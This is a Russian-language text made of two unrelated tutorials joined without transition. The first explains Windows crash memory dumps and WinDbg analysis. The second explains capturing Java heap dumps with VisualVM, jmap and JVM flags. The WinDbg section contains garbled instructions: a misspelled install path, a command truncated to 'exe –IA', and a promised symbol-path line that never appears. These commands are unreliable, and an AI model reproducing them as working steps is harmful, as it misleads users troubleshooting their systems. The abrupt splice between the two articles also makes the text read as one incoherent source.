С критическими ошибками «оконной» ОС знаком практически каждый её пользователь, и появляющиеся при этом синие экраны смерти (BSoD) обычно ничего хорошего не предвещают. Они могут быть спровоцированы программными или аппаратными причинами, и поскольку источник неприятности не всегда очевиден, решение начинается с диагностических мероприятий.
Исправить ошибку бывает непросто, и часто самым полезным средством для диагностики причин возникшего сбоя становится дамп памяти, представляющий собой снимок состояния оперативной памяти операционки с отладочными сведениями. Причём в Windows не всегда активировано автоматическое создание и сохранение на жёсткий диск дампов памяти, тогда как в исправлении BSoD независимо от характера сбоя эти данные могут сильно помочь.
Для чего нужен дамп памяти Windows
Содержимое оперативной памяти и материалы, касающиеся сбоя, могут писаться в файл подкачки, при следующем старте операционки создаётся аварийный дамп с информацией об отладке, сформированной на базе сохранённых данных (ОС может создавать memory dump и минуя файл подкачки). В журнале событий будет сделана запись об ошибке, если данная опция настроена.
Тип записываемого дампа может задаваться в свойствах ОС, поддерживаются варианты:
- Малый дамп памяти. Включает немного сведений, в частности это код ошибки с параметрами, список установленных в Виндовс драйверов и т. д., но этой информации бывает достаточно для выявления источника проблемы. Элемент, как правило, будет записан в каталоге C:\Windows\Minidump.
- Дамп памяти ядра. Выполняется сохранение сведений оперативной памяти, связанных только с режимом ядра, исключая информацию, не указывающую на источник появления сбоя.
- Полный дамп системы. Содержимым является вся память операционки, что может создать проблемы при создании снимка, если объём ОЗУ составляет более 4Гб. Обычно пишется в файл C:\Windows\MEMORY.DMP.
- Автоматический дамп памяти (стал доступным с восьмой версии Виндовс). Содержит те же записи, что и memory dump ядра, при этом отличается способом управления системой размером файла подкачки.
- Активный дамп памяти (представлен в «Десятке»). Содержит только активную память хоста из режимов ядра и пользователя* (возможность была изначально реализована для серверов, чтобы при диагностике в дамп не попадали виртуальные машины).
*Дамп пользовательского режима представляет собой дамп определённого процесса. Так, содержимым может являться полная память процесса или фрагмент, список, стек, состояние потоков, списки библиотек, состояние потоков, дескрипторы объектов ядра.
Чаще всего аварийный дамп памяти Windows 7, 8, 10 используется в целях диагностики и позволяет выяснить, как исправить критическую ошибку. Проанализировав содержимое, можно понять, что стало причиной неполадки, и приступить к её устранению.
При отказе диска или возникновении BSoD на первой стадии запуска системы аварийный дамп создан не будет.
Как включить создание дампа памяти в Windows
Чтобы активировать автоматическое сохранение memory dump в Виндовс, нужно сделать следующее:
- Переходим к свойствам системы любым удобным способом. Например, жмём правой кнопкой мыши по значку «Мой компьютер» (или «Этот компьютер» на «Десятке»). Выбираем «Свойства», затем в перечне опций в левой колонке жмём «Дополнительные параметры системы». Альтернативный вариант – использование Панели управления, где следует перейти в раздел «Система» (то же окно появится при использовании клавиш Win+Pause), а затем в «Дополнительные параметры системы». В Виндовс 10 также можно применить оснастку «Параметры»(Win+I). В окне нужно перейти к разделу «Система – «О системе» – «Сведения о системе» и далее в дополнительные параметры ОС.
- В открывшемся окне на вкладке «Дополнительно» в области «Загрузка и восстановление» жмём «Параметры».
- В итоге манипуляций откроется следующее окно, где следует выбрать тип записи отладочной информации, задать параметры, проставив в нужных пунктах галочки, после чего нажать кнопку «ОК».
Как настроить дамп памяти в Windows
Настройки действий, производимых при аварийной остановке работы ОС, выполняются в том же окне, что и включение создания memory dump («Загрузка и восстановление»), куда мы попадаем из свойств системы.
Здесь можно настроить параметры запуска ОС и назначить определённые действия в случае её отказа, например:
- указать режим записи дампа со сведениями отладки (по умолчанию выбран автоматический, но может быть выставлено значение «Нет»);
- записать события в журнал (записи добавляются в логи);
- отмеченный пункт «Выполнить автоматическую перезагрузку» позволяет системе перезагрузиться после сбоя и продолжить функционировать;
- при выборе опции «Заменять существующий файл дампа», объект будет подвергаться перезаписи при каждой появляющейся ошибке.
При эксплуатации SSD лучше оставить тип записи «Автоматический дамп памяти», но если нужен файл аварийного дампа, лучше выставить «Малый дамп памяти», он самый лёгкий и его несложно переслать другому пользователю, если вам нужна помощь в анализе состояния.
Иногда может потребоваться увеличение размера файла подкачки больше, чем доступно в оперативке, чтобы он соответствовал полному дампу.
Прочитать memory dump можно посредством специализированных утилит, таких как Microsoft Kernel Debugger, BlueScreenView и других.
Установка WinDbg в Windows
Утилита, являющаяся отладчиком для юзермодных приложений и драйверов, позволяет проанализировать снимок памяти и выяснить, что спровоцировало BSoD. Поставляется она в составе пакета SDK для Windows 10, инсталлятор скачивается на сайте Microsoft. Для Семёрки и ранних версий систем WinDbg можно найти в пакете Microsoft Windows SDK for Windows 7 and NET Framework 4.
Анализ аварийного дампа памяти в WinDbg
Перед анализом memory dump необходимо выполнить некоторые настройки. Для работ с софтом понадобится пакет символов отладки Debugging Symbols, загруженный с учётом версии и разрядности системы.
Можно настроить извлечение утилитой символов из интернета, что безопасно, поскольку используется официальный ресурс компании Майкрософт.
Ассоциирование файлов .dmp с WinDbg
Для того чтобы объекты при нажатии на них открывались посредством утилиты:
- В консоли командной строки, запущенной от имени администратора (например, через меню Пуск) выполняем команды (зависимо от разрядности ОС):
cd C:\Progran Files (x86)\Windows Kits\10\Debuggers\x64
exe –IA - Или (для 32-разрядной Виндовс):
cd C:\Progran Files (x86)\Windows Kits\10\Debuggers\x86
exe –IA
Теперь файлы типов .DMP, .HDMP, .MDMP, .KDMP, .WEW будут ассоциироваться с приложением.
Настройка сервера отладочных символов
Отладочные символы, которые генерируются в процессе компиляции приложения вместе с исполняемым файлом, нужны при отладке. Настраиваем WinDbg на извлечение символов из сети:
- в окне WinDbg жмём «File» и выбираем «Symbol Fie Path…» или жмём Ctrl+S;
- указываем путь для загрузки, прописав строчку:
- применяем корректировки нажатием «File» – «Save Workspace».
Анализ memory dump в WinDbg
В окне предполагается ввод команд. Запрос «!analyze –v» позволит получить более детальные сведения о сбое (STOP-код, имя ошибки, стек вызовов команд, приведших к проблеме и другие данные), а также рекомендации по исправлению. Для остановки отладчика в меню программы жмём «Debug» – «Stop Debugging».
Как удалить файлы дампа памяти
Если понадобилось удалить memory dump, это можно выполнить вручную, пройдя по пути месторасположения объекта на диске. Так, в системном каталоге Windows нужно найти и удалить файл MEMORY.DMP, а также элементы в каталоге Minidump. Кроме того, можно использовать штатный инструмент системы «Очистка диска»:
- вызываем консоль «Выполнить» (Win+R) и вводим команду «Cleanmgr», чтобы перейти к службе;
- жмём кнопку очищения системных файлов, затем находим и отмечаем в списке строчки, касающиеся memory dump. Если не нашлось, значит, их не создавали.
Создание снимков бывает отключено, даже если вы когда-либо активировали эту функцию по причине деятельности специального софта. Если речь о SSD-накопителе, это могут быть программы для работы с твердотельными дисками. Отключение некоторых опций ОС выполняется ими с целью оптимизации работы, поскольку многократные процессы чтения/записи сокращают продолжительность жизни диска. Также причиной отключения дампа памяти могут быть различные программы очистки компьютера и оптимизации системы.
Я увлекаюсь управлением памятью в Java и в этой статье попробую объяснить, как взять и проанализировать дамп кучи – разберём на примерах. Но для начала давайте вспомним, что известно об этой предметной области. Немного освежив теорию, мы возьмем дамп кучи и проанализируем, каким он получится в простом приложении.
❯ Что такое куча?
Всякий раз, когда вы создаете объект, он хранится в области памяти, которая в приложениях для JVM называется «куча». Как вы уже догадались, объем кучи ограничен, и «кто-то» должен хранить объекты в куче. Этот инструмент называется сборщиком мусора (Garbage Collector
). Сборщик мусора подбирает в куче неиспользуемые объекты, после чего уничтожает их в соответствии с определённым алгоритмом, так, чтобы в куче всегда имелась свободная память.
Но, как только всё свободное место в куче будет израсходовано, вы получите:
Exception in thread "main" java.lang.OutOfMemoryError: Java heap space
Сборщик мусора подбирает только те объекты, на которые нет ссылок, но иногда это могут быть и объекты со ссылками, но такие, которые вообще не применяются в приложении. Такая практика всегда приводит к утечке памяти в приложении. Чтобы обнаружить такую проблему и понять, что происходит в куче, мы выводим дамп кучи. Давайте рассмотрим, как сделать дамп кучи для конкретного приложения.
❯ Захват дампа кучи
Если вы читали статью об анализе дампа потоков Java, то рассматриваемая в этом разделе тема с захватом дампа кучи вам уже знакома. Чтобы вы смогли самостоятельно собрать дамп кучи, приведу здесь пример. Те же команды вы можете выполнять у себя на компьютере; подобные примеры встречаются в Gradle. В этой статье я покажу 3 типа захвата дампа кучи; VisualVM, jmap и автоматический дамп кучи с опциями JVM. Давайте постепенно разберём каждый из методов, но сначала скопируйте проект с примером.
Вышеупомянутый тренировочный проект можно скопировать здесь. Перейдя в папку heapdumpanalysis, вы найдёте следующие классы в каталоге java source.
package com.huseyin.heapdumpanalysis;
import java.util.ArrayList;
import java.util.List;
import lombok.extern.slf4j.Slf4j;
@Slf4j
public class ProductCatalogService {
public List getProducts(int limit) {
List products = new ArrayList<>();
for (int i = 0; i< limit; i++){
products.add(new String(new char[1024*1000])); // 1 MB string
}
return products;
}
}
Этот класс предназначен для генерации списка продуктов (на самом деле это просто строки), и каждый продукт имеет размер 1 МБ. А вот второй класс:
package com.huseyin.heapdumpanalysis;
import java.util.Arrays;
import java.util.List;
public class HeapDump {
public static void main(String[] args) throws InterruptedException {
int count = Integer.parseInt(args[0]);
int waitTime = Integer.parseInt(args[1]);
System.out.println("Loading products...");
List products = new ProductCatalogService().getProducts(count);
System.out.println(products.size() + " products are loaded into memory.");
Thread.sleep(waitTime * 1000L);
}
}
Он нужен для запуска приложения, чтобы сгенерировать список продуктов. Класс будет потреблять память в том количестве, которое вы зададите в аргументах команды Gradle следующим образом.
JAVA_TOOL_OPTIONS=-Xmx200m \
./gradlew :heapdumpanalysis:run \
-PmainClass=com.huseyin.heapdumpanalysis.HeapDump \
--args="180 30"
В JAVA_TOOL_OPTIONS
можно указать аргументы JVM, в соответствии с которыми Gradle мог бы подобрать и использовать эти аргументы во время операции ветвления JVM. В нашем случае мы указываем -Xmx200m; что означает, что максимальная емкость кучи будет 200 МБ. Более того, если вы ссылаетесь на объекты размером > ~ 200 МБ, то получите исключение java.lang.OutOfMemoryError
, и приложение завершит работу. Я использовал ~ 200 МБ, поскольку куча также содержит некоторые классы из среды выполнения Java, и то пространство в 200 МБ (JRE Classes) – вот и весь объём для объектов в вашем приложении.
Снятие дампа кучи с помощью VisualVM
VisualVM — это инструмент с GUI, сочетающий инструменты командной строки JDK и обеспечивающий удобное профилирование. Инструмент мет использоваться как на стадии разработки, так и в продакшене.
Скачав Visual VM отсюда, вы cможете просмотреть запущенные приложения JVM. Откройте VisualVM и проверьте их следующим образом:
Стартовый экран Visual VM
Как только вы откроете приложение, запущенное после выполнения в Gradle, можно будет просмотреть его метаданные. Перейдите во вкладку Monitor, где выводится использование кучи.
Синий участок на диаграмме — это используемая часть кучи, а коричневый — память кучи, доступная для вашего приложения. Если нужно вывести дамп кучи, нажмите Heap Dump в правом верхнем углу страницы Monitor. Вы увидите еще одно окно со сведениями о дампе кучи, как показано ниже.
Сведения о дампе кучи – 1
Сведения о дампе кучи – 2
- Можно просмотреть в агрегированном виде некоторые данные о размере, количестве классов, экземплярах и т. д.
- Здесь Visual VM показывает, сколько экземпляров каждого типа класса у нас имеется. Видим, что в данном приложении больше всего экземпляров у byte[].
- В этом разделе выводится каждый экземпляр и его размер. Как видите, размер каждого файла — 1024 байта, всего получается 1 МБ, это наш продукт.
- Эта часть содержит информацию о рабочем окружении вашего компьютера и о дистрибутиве java.
- Похож на раздел 2, но на этот раз с упорядочиванием по размеру экземпляров, а не по их количеству.
Разобрав, как снятие дампа кучи выглядит в GUI, давайте рассмотрим тот же пример при работе из командной строки.
Снятие дампа кучи с помощью jmap
Программа jmap
поставляется с дистрибутивом JDK. С её помощью можете получить дамп кучи, сначала найдя идентификатор процесса JVM, а затем сняв дамп кучи следующим образом.
Список процессов JVM
Теперь для снятия дампа кучи выполним:
jmap -dump:live,file=/tmp/heapdump.hprof 49417
Так удастся снять дамп кучи и сохранить результаты в /tmp/heapdump.hprof. Здесь команда jmap снимает дамп кучи, для этого мы задаём опцию –dump. Также мы собираемся взять только живой объект с помощью опции :live. Вдобавок jmap принимает параметр file для сохранения результатов в указанном месте. Наконец, принимается идентификатор процесса JVM для анализа кучи. Что же дальше? Что мы будем делать с этим файлом heapdump.hprof? Этот файл не составит труда загрузить в VisualVM следующим образом.
Только файлы hprof
Остальные операции точно такие же, как рассмотренные в предыдущем разделе.
В VisualVM удобно выполнять элементарные операции, но мне ещё нравится инструмент MAT (Eclipse Memory Analyzer). Он также заслуживает отдельной статьи, описывающей best practices :). С документацией по этому инструменту можно ознакомиться здесь.
Автоматический анализ дампа кучи
Во всех примерах, рассмотренных выше, собирали дамп кучи вручную. Однако на практике такой подход может оказаться нецелесообразным по следующим причинам;
- У вас могут быть десятки и сотни приложений JVM
- Возможно, уже произошёл аварийный останов приложения
Что если бы можно было автоматически создавать дамп кучи, когда JVM выбрасывает исключение OutOfMemoryError
? К счастью, в JVM предусмотрен способ автоматического создания дампа кучи с помощью следующих опций.
-XX:+HeapDumpOnOutOfMemoryError \
-XX:HeapDumpPath=/tmp/heapdump.hprof
Применительно к нашему приложению, можно использовать следующую команду Gradle.
JAVA_TOOL_OPTIONS="-Xmx200m -XX:+HeapDumpOnOutOfMemoryError -XX:HeapDumpPath=/tmp/heapdump.hprof" \
./gradlew :heapdumpanalysis:run \
-PmainClass=com.huseyin.heapdumpanalysis.HeapDump \
--args="210 30"
Поскольку мы предоставляем кучу объёмом 200MB
и пытаемся сгенерировать список товаров общим объемом 210MB
, в результате получим OutOfMemoryError
, и JVM выведет дамп имеющейся кучи, затем сохранит его в файле /tmp/heapdump.hprof
Автоматический анализ дампа кучи
Особенно при работе с облачно-нативными системами, где JVM-процесс контейнеризован (в микросервисных системах могут насчитываться десятки и сотни контейнеров), разумно было бы сконфигурировать этот параметр для автоматического создания дампа кучи. Однако необходимо смонтировать специальный каталог, прикрепив его к этим контейнерам, иначе файл с результатами дампа кучи исчезнет из контейнера после перезапуска этого контейнера.
❯ Заключение
Важно обеспечить хорошую отслеживаемость процесса JVM, чтобы понять, как он протекает в вашем приложении. Чтобы понять, как это происходит, можно обратить внимание на кучу, где находятся все java-объекты. Мы используем методы снятия дампа кучи, и можно выбрать один или несколько таких методов при работе в имеющейся экосистеме приложений JVM.
Если хотите склонировать проект, рассмотренный в этой статье – он находится здесь.